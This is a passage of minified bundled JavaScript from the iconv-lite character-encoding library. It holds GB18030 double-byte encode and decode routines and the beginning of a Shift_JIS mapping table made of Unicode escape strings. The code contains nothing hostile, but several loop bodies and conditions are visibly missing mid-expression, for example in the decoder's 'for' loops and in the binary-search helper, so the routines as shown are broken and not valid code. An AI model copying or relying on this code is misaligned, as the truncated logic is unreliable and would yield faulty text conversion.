c=this.gb18030.gbChars[d]+(o-this.gb18030.uChars[d]);e[i++]=129+Math.floor(c/12600),c=c%12600,e[i++]=48+Math.floor(c/1260),c=c%1260,e[i++]=129+Math.floor(c/10),c=c%10,e[i++]=48+c;continue}}}c===Gt&&(c=this.defaultCharSingleByte),c<256?e[i++]=c:c<65536?(e[i++]=c>>8,e[i++]=c&255):(e[i++]=c>>16,e[i++]=c>>8&255,e[i++]=c&255)}return this.seqObj=n,this.leadSurrogate=r,e.slice(0,i)};tc.prototype.end=function(){if(!(this.leadSurrogate===-1&&this.seqObj===void 0)){var t=es.alloc(10),e=0;if(this.seqObj){var r=this.seqObj[Ri];r!==void 0&&(r<256?t[e++]=r:(t[e++]=r>>8,t[e++]=r&255)),this.seqObj=void 0}return this.leadSurrogate!==-1&&(t[e++]=this.defaultCharSingleByte,this.leadSurrogate=-1),t.slice(0,e)}};tc.prototype.findIdx=$d;function Rd(t,e){this.nodeIdx=0,this.prevBuf=es.alloc(0),this.decodeTables=e.decodeTables,this.decodeTableSeq=e.decodeTableSeq,this.defaultCharUnicode=e.defaultCharUnicode,this.gb18030=e.gb18030}Rd.prototype.write=function(t){var e=es.alloc(t.length*2),r=this.nodeIdx,n=this.prevBuf,a=this.prevBuf.length,s=-this.prevBuf.length,i;a>0&&(n=es.concat([n,t.slice(0,10)]));for(var o=0,c=0;o=0?t[o]:n[o+a],i=this.decodeTables[r][u];if(!(i>=0))if(i===Gt)o=s,i=this.defaultCharUnicode.charCodeAt(0);else if(i===sv){var l=s>=0?t.slice(s,o+1):n.slice(s+a,o+1+a),d=(l[0]-129)*12600+(l[1]-48)*1260+(l[2]-129)*10+(l[3]-48),f=$d(this.gb18030.gbChars,d);i=this.gb18030.uChars[f]+d-this.gb18030.gbChars[f]}else if(i<=Hr){r=Hr-i;continue}else if(i<=hr){for(var m=this.decodeTableSeq[hr-i],g=0;g>8;i=m[m.length-1]}else throw new Error("iconv-lite internal error: invalid decoding table value "+i+" at "+r+"/"+u);if(i>65535){i-=65536;var b=55296+Math.floor(i/1024);e[c++]=b&255,e[c++]=b>>8,i=56320+i%1024}e[c++]=i&255,e[c++]=i>>8,r=0,s=o+1}return this.nodeIdx=r,this.prevBuf=s>=0?t.slice(s):n.slice(s+a),e.slice(0,c).toString("ucs2")};Rd.prototype.end=function(){for(var t="";this.prevBuf.length>0;){t+=this.defaultCharUnicode;var e=this.prevBuf.slice(1);this.prevBuf=es.alloc(0),this.nodeIdx=0,e.length>0&&(t+=this.write(e))}return this.nodeIdx=0,t};function $d(t,e){if(t[0]>e)return-1;for(var r=0,n=t.length;r{Y$.exports=[["0","\0",128],["a1","\uFF61",62],["8140","\u3000\u3001\u3002\uFF0C\uFF0E\u30FB\uFF1A\uFF1B\uFF1F\uFF01\u309B\u309C\xB4\uFF40\xA8\uFF3E\uFFE3\uFF3F\u30FD\u30FE\u309D\u309E\u3003\u4EDD\u3005\u3006\u3007\u30FC\u2015\u2010\uFF0F\uFF3C\uFF5E\u2225\uFF5C\u2026\u2025\u2018\u2019\u201C\u201D\uFF08\uFF09\u3014\u3015\uFF3B\uFF3D\uFF5B\uFF5D\u3008",9,"\uFF0B\uFF0D\xB1\xD7"],["8180","\xF7\uFF1D\u2260\uFF1C\uFF1E\u2266\u2267\u221E\u2234\u2642\u2640\xB0\u2032\u2033\u2103\uFFE5\uFF04\uFFE0\uFFE1\uFF05\uFF03\uFF06\uFF0A\uFF20\xA7\u2606\u2605\u25CB\u25CF\u25CE\u25C7\u25C6\u25A1\u25A0\u25B3\u25B2\u25BD\u25BC\u203B\u3012\u2192\u2190\u2191\u2193\u3013"],["81b8","\u2208\u220B\u2286\u2287\u2282\u2283\u222A\u2229"],["81c8","\u2227\u2228\uFFE2\u21D2\u21D4\u2200\u2203"],["81da","\u2220\u22A5\u2312\u2202\u2207\u2261\u2252\u226A\u226B\u221A\u223D\u221D\u2235\u222B\u222C"],["81f0","\u212B\u2030\u266F\u266D\u266A\u2020\u2021\xB6"],["81fc","\u25EF"],["824f","\uFF10",9],["8260","\uFF21",25],["8281","\uFF41",25],["829f","\u3041",82],["8340","\u30A1",62],["8380","\u30E0",22],["839f","\u0391",16,"\u03A3",6],["83bf","\u03B1",16,"\u03C3",6],["8440","\u0410",5,"\u0401\u0416",25],["8470","\u0430",5,"\u0451\u0436",7],["8480","\u043E",17],["849f","\u2500\u2502\u250C\u2510\u2518\u2514\u251C\u252C\u2524\u2534\u253C\u2501\u2503\u250F\u2513\u251B\u2517\u2523\u2533\u252B\u253B\u254B\u2520\u252F\u2528\u2537\u253F\u251D\u2530\u2525\u2538\u2542"],["8740","\u2460",19,"\u2160",9],["875f","\u3349\u3314\u3322\u334D\u3318\u3327\u3303\u3336\u3351\u3357\u330D\u3326\u3323\u332B\u334A\u333B\u339C\u339D\u339E\u338E\u338F\u33C4\u33A1"],["877e","\u337B"],["8780","\u301D\u301F\u2116\u33CD\u2121\u32A4",4,"\u3231\u3232\u3239\u337E\u337D\u337C\u2252\u2261\u222B\u222E\u2211\u221A\u22A5\u2220\u221F\u22BF\u2235\u2229\u222A"],["889f","\u4E9C\u5516\u5A03\u963F\u54C0\u611B\u6328\u59F6\u9022\u8475\u831C\u7A50\u60AA\u63E1\u6E25\u65ED\u8466\u82A6\u9BF5\u6893\u5727\u65A1\u6271\u5B9B\u59D0\u867B\u98F4\u7D62\u7DBE\u9B8E\u6216\u7C9F\u88B7\u5B89\u5EB5\u6309\u6697\u6848\u95C7\u978D\u674F\u4EE5\u4F0A\u4F4D\u4F9D\u5049\u56F2\u5937\u59D4\u5A01\u5C09\u60DF\u610F\u6170\u6613\u6905\u70BA\u754F\u7570\u79FB\u7DAD\u7DEF\u80C3\u840E\u8863\u8B02\u9055\u907A\u533B\u4E95\u4EA5\u57DF\u80B2\u90C1\u78EF\u4E00\u58F1\u6EA2\u9038\u7A32\u8328\u828B\u9C2F\u5141\u5370\u54BD\u54E1\u56E0\u59FB\u5F15\u98F2\u6DEB\u80E4\u852D"],["8940","\u9662\u9670\u96A0\u97FB\u540B\u53F3\u5B87\u70CF\u7FBD\u8FC2\u96E8\u536F\u9D5C\u7ABA\u4E11\u7893\u81FC\u6E26\u5618\u5504\u6B1D\u851A\u9C3B\u59E5\u53A9\u6D66\u74DC\u958F\u5642\u4E91\u904B\u96F2\u834F\u990C\u53E1\u55B6\u5B30\u5F71\u6620\u66F3\u6804\u6C38\u6CF3\u6D29\u745B\u76C8\u7A4E\u9834\u82F1\u885B\u8A60\u92ED\u6DB2\u75AB\u76CA\u99C5\u60A6\u8B01\u8D8A\u95B2\u698E\u53AD\u5186"],["8980","\u5712\u5830\u5944\u5BB4\u5EF6\u6028\u63A9\u63F4\u6CBF\u6F14\u708E\u7114\u7159\u71D5\u733F\u7E01\u8276\u82D1\u8597\u9060\u925B\u9D1B\u5869\u65BC\u6C5A\u7525\u51F9\u592E\u5965\u5F80\u5FDC\u62BC\u65FA\u6A2A\u6B27\u6BB4\u738B\u7FC1\u8956\u9D2C\u9D0E\u9EC4\u5CA1\u6C96\u837B\u5104\u5C4B\u61B6\u81C6\u6876\u7261\u4E59\u4FFA\u5378\u6069\u6E29\u7A4F\u97F3\u4E0B\u5316\u4EEE\u4F55\u4F3D\u4FA1\u4F73\u52A0\u53EF\u5609\u590F\u5AC1\u5BB6\u5BE1\u79D1\u6687\u679C\u67B6\u6B4C\u6CB3\u706B\u73C2\u798D\u79BE\u7A3C\u7B87\u82B1\u82DB\u8304\u8377\u83EF\u83D3\u8766\u8AB2\u5629\u8CA8\u8FE6\u904E\u971E\u868A\u4FC4\u5CE8\u6211\u7259\u753B\u81E5\u82BD\u86FE\u8CC0\u96C5\u9913\u99D5\u4ECB\u4F1A\u89E3\u56DE\u584A\u58CA\u5EFB\u5FEB\u602A\u6094\u6062\u61D0\u6212\u62D0\u6539"],["8a40","\u9B41\u6666\u68B0\u6D77\u7070\u754C\u7686\u7D75\u82A5\u87F9\u958B\u968E\u8C9D\u51F1\u52BE\u5916\u54B3\u5BB3\u5D16\u6168\u6982\u6DAF\u788D\u84CB\u8857\u8A72\u93A7\u9AB8\u6D6C\u99A8\u86D9\u57A3\u67FF\u86CE\u920E\u5283\u5687\u5404\u5ED3\u62E1\u64B9\u683C\u6838\u6BBB\u7372\u78BA\u7A6B\u899A\u89D2\u8D6B\u8F03\u90ED\u95A3\u9694\u9769\u5B66\u5CB3\u697D\u984D\u984E\u639B\u7B20\u6A2B"],["8a80","\u6A7F\u68B6\u9C0D\u6F5F\u5272\u559D\u6070\u62EC\u6D3B\u6E07\u6ED1\u845B\u8910\u8F44\u4E14\u9C39\u53F6\u691B\u6A3A\u9784\u682A\u515C\u7AC3\u84B2\u91DC\u938C\u565B\u9D28\u6822\u8305\u8431\u7CA5\u5208\u82C5\u74E6\u4E7E\u4F83\u51A0\u5BD2\u520A\u52D8\u52E7\u5DFB\u559A\u582A\u59E6\u5B8C\u5B98\u5BDB\u5E72\u5E79\u60A3\u611F\u6163\u61BE\u63DB\u6562\u67D1\u6853\u68FA\u6B3E\u6B53\u6C57\u6F22\u6F97\u6F45\u74B0\u7518\u76E3\u770B\u7AFF\u7BA1\u7C21\u7DE9\u7F36\u7FF0\u809D\u8266\u839E\u89B3\u8ACC\u8CAB\u9084\u9451\u9593\u9591\u95A2\u9665\u97D3\u9928\u8218\u4E38\u542B\u5CB8\u5DCC\u73A9\u764C\u773C\u5CA9\u7FEB\u8D0B\u96C1\u9811\u9854\u9858\u4F01\u4F0E\u5371\u559C\u5668\u57FA\u5947\u5B09\u5BC4\u5C90\u5E0C\u5E7E\u5FCC\u63EE\u673A\u65D7\u65E2\u671F\u68CB\u68C4"],["8b40","\u6A5F\u5E30\u6BC5\u6C17\u6C7D\u757F\u7948\u5B63\u7A00\u7D00\u5FBD\u898F\u8A18\u8CB4\u8D77\u8ECC\u8F1D\u98E2\u9A0E\u9B3C\u4E80\u507D\u5100\u5993\u5B9C\u622F\u6280\u64EC\u6B3A\u72A0\u7591\u7947\u7FA9\u87FB\u8ABC\u8B70\u63AC\u83CA\u97A0\u5409\u5403\u55AB\u6854\u6A58\u8A70\u7827\u6775\u9ECD\u5374\u5BA2\u811A\u8650\u9006\u4E18\u4E45\u4EC7\u4F11\u53CA\u5438\u5BAE\u5F13\u6025\u6551"],["8b80","\u673D\u6C42\u6C72\u6CE3\u7078\u7403\u7A76\u7AAE\u7B08\u7D1A\u7CFE\u7D66\u65E7\u725B\u53BB\u5C45\u5DE8\u62D2\u62E0\u6319\u6E20\u865A\u8A31\u8DDD\u92F8\u6F01\u79A6\u9B5A\u4EA8\u4EAB\u4EAC\u4F9B\u4FA0\u50D1\u5147\u7AF6\u5171\u51F6\u5354\u5321\u537F\u53EB\u55AC\u5883\u5CE1\u5F37\u5F4A\u602F\u6050\u606D\u631F\u6559\u6A4B\u6CC1\u72C2\u72ED\u77EF\u80F8\u8105\u8208\u854E\u90F7\u93E1\u97FF\u9957\u9A5A\u4EF0\u51DD\u5C2D\u6681\u696D\u5C40\u66F2\u6975\u7389\u6850\u7C81\u50C5\u52E4\u5747\u5DFE\u9326\u65A4\u6B23\u6B3D\u7434\u7981\u79BD\u7B4B\u7DCA\u82B9\u83CC\u887F\u895F\u8B39\u8FD1\u91D1\u541F\u9280\u4E5D\u5036\u53E5\u533A\u72D7\u7396\u77E9\u82E6\u8EAF\u99C6\u99C8\u99D2\u5177\u611A\u865E\u55B0\u7A7A\u5076\u5BD3\u9047\u9685\u4E32\u6ADB\u91E7\u5C51\u5C48"],["8c40","\u6398\u7A9F\u6C93\u9774\u8F61\u7AAA\u718A\u9688\u7C82\u6817\u7E70\u6851\u936C\u52F2\u541B\u85AB\u8A13\u7FA4\u8ECD\u90E1\u5366\u8888\u7941\u4FC2\u50BE\u5211\u5144\u5553\u572D\u73EA\u578B\u5951\u5F62\u5F84\u6075\u6176\u6167\u61A9\u63B2\u643A\u656C\u666F\u6842\u6E13\u7566\u7A3D\u7CFB\u7D4C\u7D99\u7E4B\u7F6B\u830E\u834A\u86CD\u8A08\u8A63\u8B66\u8EFD\u981A\u9D8F\u82B8\u8FCE\u9BE8"],["8c80","\u5287\u621F\u6483\u6FC0\u9699\u6841\u5091\u6B20\u6C7A\u6F54\u7A74\u7D50\u8840\u8A23\u6708\u4EF6\u5039\u5026\u5065\u517C\u5238\u5263\u55A7\u570F\u5805\u5ACC\u5EFA\u61B2\u61F8\u62F3\u6372\u691C\u6A29\u727D\u72AC\u732E\u7814\u786F\u7D79\u770C\u80A9\u898B\u8B19\u8CE2\u8ED2\u9063\u9375\u967A\u9855\u9A13\u9E78\u5143\u539F\u53B3\u5E7B\u5F26\u6E1B\u6E90\u7384\u73FE\u7D43\u8237\u8A00\u8AFA\u9650\u4E4E\u500B\u53E4\u547C\u56FA\u59D1\u5B64\u5DF1\u5EAB\u5F27\u6238\u6545\u67AF\u6E56\u72D0\u7CCA\u88B4\u80A1\u80E1\u83F0\u864E\u8A87\u8DE8\u9237\u96C7\u9867\u9F13\u4E94\u4E92\u4F0D\u5348\u5449\u543E\u5A2F\u5F8C\u5FA1\u609F\u68A7\u6A8E\u745A\u7881\u8A9E\u8AA4\u8B77\u9190\u4E5E\u9BC9\u4EA4\u4F7C\u4FAF\u5019\u5016\u5149\u516C\u529F\u52B9\u52FE\u539A\u53E3\u5411"],["8d40","\u540E\u5589\u5751\u57A2\u597D\u5B54\u5B5D\u5B8F\u5DE5\u5DE7\u5DF7\u5E78\u5E83\u5E9A\u5EB7\u5F18\u6052\u614C\u6297\u62D8\u63A7\u653B\u6602\u6643\u66F4\u676D\u6821\u6897\u69CB\u6C5F\u6D2A\u6D69\u6E2F\u6E9D\u7532\u7687\u786C\u7A3F\u7CE0\u7D05\u7D18\u7D5E\u7DB1\u8015\u8003\u80AF\u80B1\u8154\u818F\u822A\u8352\u884C\u8861\u8B1B\u8CA2\u8CFC\u90CA\u9175\u9271\u783F\u92FC\u95A4\u964D"],["8d80","\u9805\u9999\u9AD8\u9D3B\u525B\u52AB\u53F7\u5408\u58D5\u62F7\u6FE0\u8C6A\u8F5F\u9EB9\u514B\u523B\u544A\u56FD\u7A40\u9177\u9D60\u9ED2\u7344\u6F09\u8170\u7511\u5FFD\u60DA\u9AA8\u72DB\u8FBC\u6B64\u9803\u4ECA\u56F0\u5764\u58BE\u5A5A\u6068\u61C7\u660F\u6606\u6839\u68B1\u6DF7\u75D5\u7D3A\u826E\u9B42\u4E9B\u4F50\u53C9\u5506\u5D6F\u5DE6\u5DEE\u67FB\u6C99\u7473\u7802\u8A50\u9396\u88DF\u5750\u5EA7\u632B\u50B5\u50AC\u518D\u6700\u54C9\u585E\u59BB\u5BB0\u5F69\u624D\u63A1\u683D\u6B73\u6E08\u707D\u91C7\u7280\u7815\u7826\u796D\u658E\u7D30\u83DC\u88C1\u8F09\u969B\u5264\u5728\u6750\u7F6A\u8CA1\u51B4\u5742\u962A\u583A\u698A\u80B4\u54B2\u5D0E\u57FC\u7895\u9DFA\u4F5C\u524A\u548B\u643E\u6628\u6714\u67F5\u7A84\u7B56\u7D22\u932F\u685C\u9BAD\u7B39\u5319\u518A\u5237"],["8e40","\u5BDF\u62F6\u64AE\u64E6\u672D\u6BBA\u85A9\u96D1\u7690\u9BD6\u634C\u9306\u9BAB\u76BF\u6652\u4E09\u5098\u53C2\u5C71\u60E8\u6492\u6563\u685F\u71E6\u73CA\u7523\u7B97\u7E82\u8695\u8B83\u8CDB\u9178\u9910\u65AC\u66AB\u6B8B\u4ED5\u4ED4\u4F3A\u4F7F\u523A\u53F8\u53F2\u55E3\u56DB\u58EB\u59CB\u59C9\u59FF\u5B50\u5C4D\u5E02\u5E2B\u5FD7\u601D\u6307\u652F\u5B5C\u65AF\u65BD\u65E8\u679D\u6B62"],["8e80","\u6B7B\u6C0F\u7345\u7949\u79C1\u7CF8\u7D19\u7D2B\u80A2\u8102\u81F3\u8996\u8A5E\u8A69\u8A66\u8A8C\u8AEE\u8CC7\u8CDC\u96CC\u98FC\u6B6F\u4E8B\u4F3C\u4F8D\u5150\u5B57\u5BFA\u6148\u6301\u6642\u6B21\u6ECB\u6CBB\u723E\u74BD\u75D4\u78C1\u793A\u800C\u8033\u81EA\u8494\u8F9E\u6C50\u9E7F\u5F0F\u8B58\u9D2B\u7AFA\u8EF8\u5B8D\u96EB\u4E03\u53F1\u57F7\u5931\u5AC9\u5BA4\u6089\u6E7F\u6F06\u75BE\u8CEA\u5B9F\u8500\u7BE0\u5072\u67F4\u829D\u5C61\u854A\u7E1E\u820E\u5199\u5C04\u6368\u8D66\u659C\u716E\u793E\u7D17\u8005\u8B1D\u8ECA\u906E\u86C7\u90AA\u501F\u52FA\u5C3A\u6753\u707C\u7235\u914C\u91C8\u932B\u82E5\u5BC2\u5F31\u60F9\u4E3B\u53D6\u5B88\u624B\u6731\u6B8A\u72E9\u73E0\u7A2E\u816B\u8DA3\u9152\u9996\u5112\u53D7\u546A\u5BFF\u6388\u6A39\u7DAC\u9700\u56DA\u53CE\u5468"],["8f40","\u5B97\u5C31\u5DDE\u4FEE\u6101\u62FE\u6D32\u79C0\u79CB\u7D42\u7E4D\u7FD2\u81ED\u821F\u8490\u8846\u8972\u8B90\u8E74\u8F2F\u9031\u914B\u916C\u96C6\u919C\u4EC0\u4F4F\u5145\u5341\u5F93\u620E\u67D4\u6C41\u6E0B\u7363\u7E26\u91CD\u9283\u53D4\u5919\u5BBF\u6DD1\u795D\u7E2E\u7C9B\u587E\u719F\u51FA\u8853\u8FF0\u4FCA\u5CFB\u6625\u77AC\u7AE3\u821C\u99FF\u51C6\u5FAA\u65EC\u696F\u6B89\u6DF3"],["8f80","\u6E96\u6F64\u76FE\u7D14\u5DE1\u9075\u9187\u9806\u51E6\u521D\u6240\u6691\u66D9\u6E1A\u5EB6\u7DD2\u7F72\u66F8\u85AF\u85F7\u8AF8\u52A9\u53D9\u5973\u5E8F\u5F90\u6055\u92E4\u9664\u50B7\u511F\u52DD\u5320\u5347\u53EC\u54E8\u5546\u5531\u5617\u5968\u59BE\u5A3C\u5BB5\u5C06\u5C0F\u5C11\u5C1A\u5E84\u5E8A\u5EE0\u5F70\u627F\u6284\u62DB\u638C\u6377\u6607\u660C\u662D\u6676\u677E\u68A2\u6A1F\u6A35\u6CBC\u6D88\u6E09\u6E58\u713C\u7126\u7167\u75C7\u7701\u785D\u7901\u7965\u79F0\u7AE0\u7B11\u7CA7\u7D39\u8096\u83D6\u848B\u8549\u885D\u88F3\u8A1F\u8A3C\u8A54\u8A73\u8C61\u8CDE\u91A4\u9266\u937E\u9418\u969C\u9798\u4E0A\u4E08\u4E1E\u4E57\u5197\u5270\u57CE\u5834\u58CC\u5B22\u5E38\u60C5\u64FE\u6761\u6756\u6D44\u72B6\u7573\u7A63\u84B8\u8B72\u91B8\u9320\u5631\u57F4\u98FE"],["9040","\u62ED\u690D\u6B96\u71ED\u7E54\u8077\u8272\u89E6\u98DF\u8755\u8FB1\u5C3B\u4F38\u4FE1\u4FB5\u5507\u5A20\u5BDD\u5BE9\u5FC3\u614E\u632F\u65B0\u664B\u68EE\u699B\u6D78\u6DF1\u7533\u75B9\u771F\u795E\u79E6\u7D33\u81E3\u82AF\u85AA\u89AA\u8A3A\u8EAB\u8F9B\u9032\u91DD\u9707\u4EBA\u4EC1\u5203\u5875\u58EC\u5C0B\u751A\u5C3D\u814E\u8A0A\u8FC5\u9663\u976D\u7B25\u8ACF\u9808\u9162\u56F3\u53A8"],["9080","\u9017\u5439\u5782\u5E25\u63A8\u6C34\u708A\u7761\u7C8B\u7FE0\u8870\u9042\u9154\u9310\u9318\u968F\u745E\u9AC4\u5D07\u5D69\u6570\u67A2\u8DA8\u96DB\u636E\u6749\u6919\u83C5\u9817\u96C0\u88FE\u6F84\u647A\u5BF8\u4E16\u702C\u755D\u662F\u51C4\u5236\u52E2\u59D3\u5F81\u6027\u6210\u653F\u6574\u661F\u6674\u68F2\u6816\u6B63\u6E05\u7272\u751F\u76DB\u7CBE\u8056\u58F0\u88FD\u897F\u8AA0\u8A93\u8ACB\u901D\u9192\u9752\u9759\u6589\u7A0E\u8106\u96BB\u5E2D\u60DC\u621A\u65A5\u6614\u6790\u77F3\u7A4D\u7C4D\u7E3E\u810A\u8CAC\u8D64\u8DE1\u8E5F\u78A9\u5207\u62D9\u63A5\u6442\u6298\u8A2D\u7A83\u7BC0\u8AAC\u96EA\u7D76\u820C\u8749\u4ED9\u5148\u5343\u5360\u5BA3\u5C02\u5C16\u5DDD\u6226\u6247\u64B0\u6813\u6834\u6CC9\u6D45\u6D17\u67D3\u6F5C\u714E\u717D\u65CB\u7A7F\u7BAD\u7DDA"],["9140","\u7E4A\u7FA8\u817A\u821B\u8239\u85A6\u8A6E\u8CCE\u8DF5\u9078\u9077\u92AD\u9291\u9583\u9BAE\u524D\u5584\u6F38\u7136\u5168\u7985\u7E55\u81B3\u7CCE\u564C\u5851\u5CA8\u63AA\u66FE\u66FD\u695A\u72D9\u758F\u758E\u790E\u7956\u79DF\u7C97\u7D20\u7D44\u8607\u8A34\u963B\u9061\u9F20\u50E7\u5275\u53CC\u53E2\u5009\u55AA\u58EE\u594F\u723D\u5B8B\u5C64\u531D\u60E3\u60F3\u635C\u6383\u633F\u63BB"],["9180","\u64CD\u65E9\u66F9\u5DE3\u69CD\u69FD\u6F15\u71E5\u4E89\u75E9\u76F8\u7A93\u7CDF\u7DCF\u7D9C\u8061\u8349\u8358\u846C\u84BC\u85FB\u88C5\u8D70\u9001\u906D\u9397\u971C\u9A12\u50CF\u5897\u618E\u81D3\u8535\u8D08\u9020\u4FC3\u5074\u5247\u5373\u606F\u6349\u675F\u6E2C\u8DB3\u901F\u4FD7\u5C5E\u8CCA\u65CF\u7D9A\u5352\u8896\u5176\u63C3\u5B58\u5B6B\u5C0A\u640D\u6751\u905C\u4ED6\u591A\u592A\u6C70\u8A51\u553E\u5815\u59A5\u60F0\u6253\u67C1\u8235\u6955\u9640\u99C4\u9A28\u4F53\u5806\u5BFE\u8010\u5CB1\u5E2F\u5F85\u6020\u614B\u6234\u66FF\u6CF0\u6EDE\u80CE\u817F\u82D4\u888B\u8CB8\u9000\u902E\u968A\u9EDB\u9BDB\u4EE3\u53F0\u5927\u7B2C\u918D\u984C\u9DF9\u6EDD\u7027\u5353\u5544\u5B85\u6258\u629E\u62D3\u6CA2\u6FEF\u7422\u8A17\u9438\u6FC1\u8AFE\u8338\u51E7\u86F8\u53EA"],["9240","\u53E9\u4F46\u9054\u8FB0\u596A\u8131\u5DFD\u7AEA\u8FBF\u68DA\u8C37\u72F8\u9C48\u6A3D\u8AB0\u4E39\u5358\u5606\u5766\u62C5\u63A2\u65E6\u6B4E\u6DE1\u6E5B\u70AD\u77ED\u7AEF\u7BAA\u7DBB\u803D\u80C6\u86CB\u8A95\u935B\u56E3\u58C7\u5F3E\u65AD\u6696\u6A80\u6BB5\u7537\u8AC7\u5024\u77E5\u5730\u5F1B\u6065\u667A\u6C60\u75F4\u7A1A\u7F6E\u81F4\u8718\u9045\u99B3\u7BC9\u755C\u7AF9\u7B51\u84C4"],["9280","\u9010\u79E9\u7A92\u8336\u5AE1\u7740\u4E2D\u4EF2\u5B99\u5FE0\u62BD\u663C\u67F1\u6CE8\u866B\u8877\u8A3B\u914E\u92F3\u99D0\u6A17\u7026\u732A\u82E7\u8457\u8CAF\u4E01\u5146\u51CB\u558B\u5BF5\u5E16\u5E33\u5E81\u5F14\u5F35\u5F6B\u5FB4\u61F2\u6311\u66A2\u671D\u6F6E\u7252\u753A\u773A\u8074\u8139\u8178\u8776\u8ABF\u8ADC\u8D85\u8DF3\u929A\u9577\u9802\u9CE5\u52C5\u6357\u76F4\u6715\u6C88\u73CD\u8CC3\u93AE\u9673\u6D25\u589C\u690E\u69CC\u8FFD\u939A\u75DB\u901A\u585A\u6802\u63B4\u69FB\u4F43\u6F2C\u67D8\u8FBB\u8526\u7DB4\u9354\u693F\u6F70\u576A\u58F7\u5B2C\u7D2C\u722A\u540A\u91E3\u9DB4\u4EAD\u4F4E\u505C\u5075\u5243\u8C9E\u5448\u5824\u5B9A\u5E1D\u5E95\u5EAD\u5EF7\u5F1F\u608C\u62B5\u633A\u63D0\u68AF\u6C40\u7887\u798E\u7A0B\u7DE0\u8247\u8A02\u8AE6\u8E44\u9013"],["9340","\u90B8\u912D\u91D8\u9F0E\u6CE5\u6458\u64E2\u6575\u6EF4\u7684\u7B1B\u9069\u93D1\u6EBA\u54F2\u5FB9\u64A4\u8F4D\u8FED\u9244\u5178\u586B\u5929\u5C55\u5E97\u6DFB\u7E8F\u751C\u8CBC\u8EE2\u985B\u70B9\u4F1D\u6BBF\u6FB1\u7530\u96FB\u514E\u5410\u5835\u5857\u59AC\u5C60\u5F92\u6597\u675C\u6E21\u767B\u83DF\u8CED\u9014\u90FD\u934D\u7825\u783A\u52AA\u5EA6\u571F\u5974\u6012\u5012\u515A\u51AC"],["9380","\u51CD\u5200\u5510\u5854\u5858\u5957\u5B95\u5CF6\u5D8B\u60BC\u6295\u642D\u6771\u6843\u68BC\u68DF\u76D7\u6DD8\u6E6F\u6D9B\u706F\u71C8\u5F53\u75D8\u7977\u7B49\u7B54\u7B52\u7CD6\u7D71\u5230\u8463\u8569\u85E4\u8A0E\u8B04\u8C46\u8E0F\u9003\u900F\u9419\u9676\u982D\u9A30\u95D8\u50CD\u52D5\u540C\u5802\u5C0E\u61A7\u649E\u6D1E\u77B3\u7AE5\u80F4\u8404\u9053\u9285\u5CE0\u9D07\u533F\u5F97\u5FB3\u6D9C\u7279\u7763\u79BF\u7BE4\u6BD2\u72EC\u8AAD\u6803\u6A61\u51F8\u7A81\u6934\u5C4A\u9CF6\u82EB\u5BC5\u9149\u701E\u5678\u5C6F\u60C7\u6566\u6C8C\u8C5A\u9041\u9813\u5451\u66C7\u920D\u5948\u90A3\u5185\u4E4D\u51EA\u8599\u8B0E\u7058\u637A\u934B\u6962\u99B4\u7E04\u7577\u5357\u6960\u8EDF\u96E3\u6C5D\u4E8C\u5C3C\u5F10\u8FE9\u5302\u8CD1\u8089\u8679\u5EFF\u65E5\u4E73\u5165"],["9440","\u5982\u5C3F\u97EE\u4EFB\u598A\u5FCD\u8A8D\u6FE1\u79B0\u7962\u5BE7\u8471\u732B\u71B1\u5E74\u5FF5\u637B\u649A\u71C3\u7C98\u4E43\u5EFC\u4E4B\u57DC\u56A2\u60A9\u6FC3\u7D0D\u80FD\u8133\u81BF\u8FB2\u8997\u86A4\u5DF4\u628A\u64AD\u8987\u6777\u6CE2\u6D3E\u7436\u7834\u5A46\u7F75\u82AD\u99AC\u4FF3\u5EC3\u62DD\u6392\u6557\u676F\u76C3\u724C\u80CC\u80BA\u8F29\u914D\u500D\u57F9\u5A92\u6885"],["9480","\u6973\u7164\u72FD\u8CB7\u58F2\u8CE0\u966A\u9019\u877F\u79E4\u77E7\u8429\u4F2F\u5265\u535A\u62CD\u67CF\u6CCA\u767D\u7B94\u7C95\u8236\u8584\u8FEB\u66DD\u6F20\u7206\u7E1B\u83AB\u99C1\u9EA6\u51FD\u7BB1\u7872\u7BB8\u8087\u7B48\u6AE8\u5E61\u808C\u7551\u7560\u516B\u9262\u6E8C\u767A\u9197\u9AEA\u4F10\u7F70\u629C\u7B4F\u95A5\u9CE9\u567A\u5859\u86E4\u96BC\u4F34\u5224\u534A\u53CD\u53DB\u5E06\u642C\u6591\u677F\u6C3E\u6C4E\u7248\u72AF\u73ED\u7554\u7E41\u822C\u85E9\u8CA9\u7BC4\u91C6\u7169\u9812\u98EF\u633D\u6669\u756A\u76E4\u78D0\u8543\u86EE\u532A\u5351\u5426\u5983\u5E87\u5F7C\u60B2\u6249\u6279\u62AB\u6590\u6BD4\u6CCC\u75B2\u76AE\u7891\u79D8\u7DCB\u7F77\u80A5\u88AB\u8AB9\u8CBB\u907F\u975E\u98DB\u6A0B\u7C38\u5099\u5C3E\u5FAE\u6787\u6BD8\u7435\u7709\u7F8E"],["9540","\u9F3B\u67CA\u7A17\u5339\u758B\u9AED\u5F66\u819D\u83F1\u8098\u5F3C\u5FC5\u7562\u7B46\u903C\u6867\u59EB\u5A9B\u7D10\u767E\u8B2C\u4FF5\u5F6A\u6A19\u6C37\u6F02\u74E2\u7968\u8868\u8A55\u8C79\u5EDF\u63CF\u75C5\u79D2\u82D7\u9328\u92F2\u849C\u86ED\u9C2D\u54C1\u5F6C\u658C\u6D5C\u7015\u8CA7\u8CD3\u983B\u654F\u74F6\u4E0D\u4ED8\u57E0\u592B\u5A66\u5BCC\u51A8\u5E03\u5E9C\u6016\u6276\u6577"],["9580","\u65A7\u666E\u6D6E\u7236\u7B26\u8150\u819A\u8299\u8B5C\u8CA0\u8CE6\u8D74\u961C\u9644\u4FAE\u64AB\u6B66\u821E\u8461\u856A\u90E8\u5C01\u6953\u98A8\u847A\u8557\u4F0F\u526F\u5FA9\u5E45\u670D\u798F\u8179\u8907\u8986\u6DF5\u5F17\u6255\u6CB8\u4ECF\u7269\u9B92\u5206\u543B\u5674\u58B3\u61A4\u626E\u711A\u596E\u7C89\u7CDE\u7D1B\u96F0\u6587\u805E\u4E19\u4F75\u5175\u5840\u5E63\u5E73\u5F0A\u67C4\u4E26\u853D\u9589\u965B\u7C73\u9801\u50FB\u58C1\u7656\u78A7\u5225\u77A5\u8511\u7B86\u504F\u5909\u7247\u7BC7\u7DE8\u8FBA\u8FD4\u904D\u4FBF\u52C9\u5A29\u5F01\u97AD\u4FDD\u8217\u92EA\u5703\u6355\u6B69\u752B\u88DC\u8F14\u7A42\u52DF\u5893\u6155\u620A\u66AE\u6BCD\u7C3F\u83E9\u5023\u4FF8\u5305\u5446\u5831\u5949\